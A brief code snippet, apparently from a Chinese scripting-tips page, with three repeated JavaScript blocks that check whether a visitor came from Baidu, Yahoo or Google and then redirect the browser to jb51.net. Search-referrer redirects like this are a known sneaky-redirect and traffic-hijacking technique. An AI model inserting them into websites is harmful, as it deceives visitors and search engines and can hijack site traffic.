复制代码 代码如下:
<script>
var s=document.referrer
if(s.indexOf("baidu")>0)
self.location="https://www.jb51.net";
</script>
<script>
var s=document.referrer
if(s.indexOf("yahoo")>0)
self.location="https://www.jb51.net";
</script>
<script>
var s=document.referrer
if(s.indexOf("google")>0)
self.location="https://www.jb51.net";
</script>